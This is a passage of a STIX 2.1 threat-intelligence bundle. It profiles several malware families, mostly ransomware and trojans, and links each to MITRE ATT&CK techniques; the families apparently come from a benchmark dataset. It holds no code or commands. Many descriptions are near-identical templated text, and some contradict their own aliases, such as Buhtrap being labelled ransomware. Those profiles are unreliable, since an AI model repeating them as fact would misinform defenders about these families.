      "source_ref": "malware--26500cdb-f140-58dc-840a-38effafbb3b7",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsvsebni exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cd0fcfb4-b3ff-5833-ad79-9b0d523bdf4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bsymem",
      "description": "Trojan:Win32/Bsymem (cataloged across vendor telemetry as Trojan.Bsymem or Ransom.Bsymem) is a stealthy dual-stage remote access backdoor and enterprise ransomware staging vehicle designed to establish persistent covert access within corporate environments. Delivered via targeted spear-phishing attachments or dropped through exploit kits, Bsymem utilizes multi-layer code packing and process injection into legitimate Windows services (such as svchost.exe) to conceal its outbound command-and-control communications. Once network persistence is secured via hidden scheduled tasks, Bsymem facilitates lateral network reconnaissance before executing a multi-threaded ransomware module that encrypts local and mapped network shares, terminates critical system services, and leaves ransom notes demanding cryptocurrency payments. (Observed samples in benchmark: 144)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Bsymem",
        "Trojan:Win32/Bsymem",
        "Trojan.Bsymem",
        "Win32/Bsymem",
        "Ransom.Bsymem",
        "Trojan:Win32/Bsymem.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bsymem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bsymem"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5a4fc0f-9340-5b0e-8d9f-8e2451e81463",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fcfb4-b3ff-5833-ad79-9b0d523bdf4f",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsymem exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e880acc-99e7-5f9c-b826-0a69b4033e3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fcfb4-b3ff-5833-ad79-9b0d523bdf4f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsymem exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c6f8be2-aba7-51ae-8559-98272851fb02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fcfb4-b3ff-5833-ad79-9b0d523bdf4f",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsymem exhibits technique T1053.005 (Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8bcf6c0-553c-5d37-8b14-e0ebb9fe8e8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fcfb4-b3ff-5833-ad79-9b0d523bdf4f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsymem exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83b678a1-c9b6-5d1d-8d49-613490424310",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fcfb4-b3ff-5833-ad79-9b0d523bdf4f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsymem exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fedb0a08-10cf-5a73-909c-fc0fe2e2650c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fcfb4-b3ff-5833-ad79-9b0d523bdf4f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsymem exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a2cddf8-3777-518b-88f3-0105779e3bbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fcfb4-b3ff-5833-ad79-9b0d523bdf4f",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bsymem exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c9793f11-bb53-5d89-83a9-ea962875b3b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Btcon",
      "description": "Btcon (classified in antivirus detection telemetry under designations including Trojan:Win32/Btcon, Trojan.Win32.Btcon, and Win32/Btcon) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Btcon executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Btcon",
        "CoinMiner.Btcon",
        "Trojan.CoinThief.Btcon",
        "Trojan:Win32/Btcon",
        "Trojan.Win32.Btcon",
        "Win32/Btcon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Btcon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/btcon"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6a5e986-632e-56e3-ace3-4e5b657bf50e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9793f11-bb53-5d89-83a9-ea962875b3b6",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Btcon exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fb24410-12f8-5c53-ae9d-3f375e2d27ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9793f11-bb53-5d89-83a9-ea962875b3b6",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Btcon exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fa3d7cb-5694-5f54-977a-be2322c9d1c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9793f11-bb53-5d89-83a9-ea962875b3b6",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Btcon exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca142291-2375-5834-ae7a-f849316af90f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9793f11-bb53-5d89-83a9-ea962875b3b6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Btcon exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4024d6d-0c81-5031-8f37-b32580714b8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Btcware",
      "description": "Btcware (classified in antivirus detection telemetry under designations including Ransom:Win32/Btcware, Ransom.Win32.Btcware, and Win32/Btcware) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Btcware executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Btcware",
        "Ransom.Win32.Btcware",
        "Win32/Btcware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Btcware",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/btcware"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d407e6fd-8313-570f-9442-63f7a2c6c4d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4024d6d-0c81-5031-8f37-b32580714b8f",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Btcware exhibits technique T1486 (Data Encrypted for Impact (The core function of the ransomware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fb42d3a-b2c7-5e1d-a494-5073aa555e62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4024d6d-0c81-5031-8f37-b32580714b8f",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Btcware exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies to prevent restoration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77a32e87-57ba-5be4-8c1e-d4274840161e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4024d6d-0c81-5031-8f37-b32580714b8f",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Btcware exhibits technique T1133 (External Remote Services (Commonly deployed via brute-forced RDP connections))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2693fa62-2fd2-52e0-a1bb-2720b0a8ef0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bubbledock",
      "description": "Bubbledock (classified in antivirus detection telemetry under designations including Trojan:Win32/Bubbledock, Trojan.Win32.Bubbledock, and Win32/Bubbledock) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bubbledock executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.BubbleDock",
        "PUP.BubbleDock",
        "BrowserModifier:Win32/BubbleDock",
        "Trojan:Win32/Bubbledock",
        "Trojan.Win32.Bubbledock",
        "Win32/Bubbledock"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bubbledock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bubbledock"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bacdf9ac-81eb-5dea-baf1-16ed3ce9f075",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2693fa62-2fd2-52e0-a1bb-2720b0a8ef0c",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bubbledock exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7aef1b46-dc59-5253-9b9a-0633bbda5479",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2693fa62-2fd2-52e0-a1bb-2720b0a8ef0c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bubbledock exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7f20968-b314-5b3e-861a-13c6e259e325",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2693fa62-2fd2-52e0-a1bb-2720b0a8ef0c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bubbledock exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--89f70abd-1feb-5ef8-902e-448869bef799",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bublik",
      "description": "Bublik (documented across threat intelligence research and anti-malware signatures as Trojan-Downloader.Win32.Bublik, Trojan:Win32/Bublik, and Downloader.Bublik) is a landmark polymorphic trojan downloader and dropper active since 2012. Known for its extensive use in crimeware supply chains to distribute major banking trojans (such as ZeuS, Citadel, Dridex, and Dyre) as well as ransomware, Bublik is primarily spread through high-volume spam campaigns carrying weaponized ZIP archives or macro-laced documents. Bublik employs sophisticated server-side polymorphism and code obfuscation, featuring fake dialog boxes claiming document corruption to deceive users while secretly injecting payload stubs into legitimate Windows processes. Bublik connects to dynamic command-and-control infrastructure via encrypted HTTP requests, downloading and launching secondary payloads directly in memory or via temporary system directories. (Observed samples in benchmark: 36)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Downloader.Win32.Bublik",
        "Trojan:Win32/Bublik",
        "Trojan.Bublik",
        "Win32/Bublik",
        "Downloader.Bublik",
        "Trojan-Downloader:Win32/Bublik.gen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bublik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bublik"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82c8d202-7967-57ea-9344-826810e320b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Buhtrap",
      "description": "Buhtrap (classified in antivirus detection telemetry under designations including Ransom:Win32/Buhtrap, Ransom.Win32.Buhtrap, and Win32/Buhtrap) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Buhtrap executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT.Buhtrap",
        "Trojan.Buhtrap",
        "Win32/Buhtrap",
        "Ransom:Win32/Buhtrap",
        "Ransom.Win32.Buhtrap"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Buhtrap",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/buhtrap"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53c15257-2a70-5960-9e16-87e3b65bae2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c8d202-7967-57ea-9344-826810e320b7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buhtrap exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f7cefe4e-cadf-5280-927c-40d027c0f378",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1047: Windows Management Instrumentation",
      "description": "MITRE ATT&CK Technique T1047 (Windows Management Instrumentation) under tactic execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1047",
          "url": "https://attack.mitre.org/techniques/T1047/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd329807-6e29-5ffe-9b5a-b6fa84502ef2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c8d202-7967-57ea-9344-826810e320b7",
      "target_ref": "attack-pattern--f7cefe4e-cadf-5280-927c-40d027c0f378",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buhtrap exhibits technique T1047 (Windows Management Instrumentation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95d63cd9-816f-5872-83e4-04e5b8c5cd39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c8d202-7967-57ea-9344-826810e320b7",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buhtrap exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--0bc27c83-74b1-5be7-b0d2-50ee0ac07524",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1563: Remote Service Session Hijacking",
      "description": "MITRE ATT&CK Technique T1563 (Remote Service Session Hijacking) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1563",
          "url": "https://attack.mitre.org/techniques/T1563/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cfa47e9-e318-5919-9af1-eb9098ea6eb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c8d202-7967-57ea-9344-826810e320b7",
      "target_ref": "attack-pattern--0bc27c83-74b1-5be7-b0d2-50ee0ac07524",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Buhtrap exhibits technique T1563 (Remote Service Session Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--06e22663-dbb3-5512-82f9-dfdedfbaa657",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bulta",
      "description": "Bulta (classified in antivirus detection telemetry under designations including Ransom:Win32/Bulta, Ransom.Win32.Bulta, and Win32/Bulta) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bulta executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bulta",
        "Ransom.Win32.Bulta",
        "Win32/Bulta"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bulta",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bulta"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64859e99-327b-55b6-abf8-85a33aa2f96a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06e22663-dbb3-5512-82f9-dfdedfbaa657",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bulta exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--035a9c6a-50e8-5f4a-9489-2404a962d95d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06e22663-dbb3-5512-82f9-dfdedfbaa657",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bulta exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cf71125-67bd-5e8e-8302-0ebb34e94044",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06e22663-dbb3-5512-82f9-dfdedfbaa657",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bulta exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--345bcfdd-a00c-55c5-bffb-ee47e7c0ba53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06e22663-dbb3-5512-82f9-dfdedfbaa657",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bulta exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b091b88-9fef-50d7-b899-ff4019fc1450",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06e22663-dbb3-5512-82f9-dfdedfbaa657",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bulta exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--63dfecdd-ef3b-5a58-adc4-45826db8919b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bumat",
      "description": "Bumat (classified in antivirus detection telemetry under designations including Ransom:Win32/Bumat, Ransom.Win32.Bumat, and Win32/Bumat) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bumat executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bumat",
        "Downloader.Bumat",
        "Win32/Bumat",
        "Ransom:Win32/Bumat",
        "Ransom.Win32.Bumat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bumat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bumat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a659ad1d-10da-51c2-9134-078be315c0c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
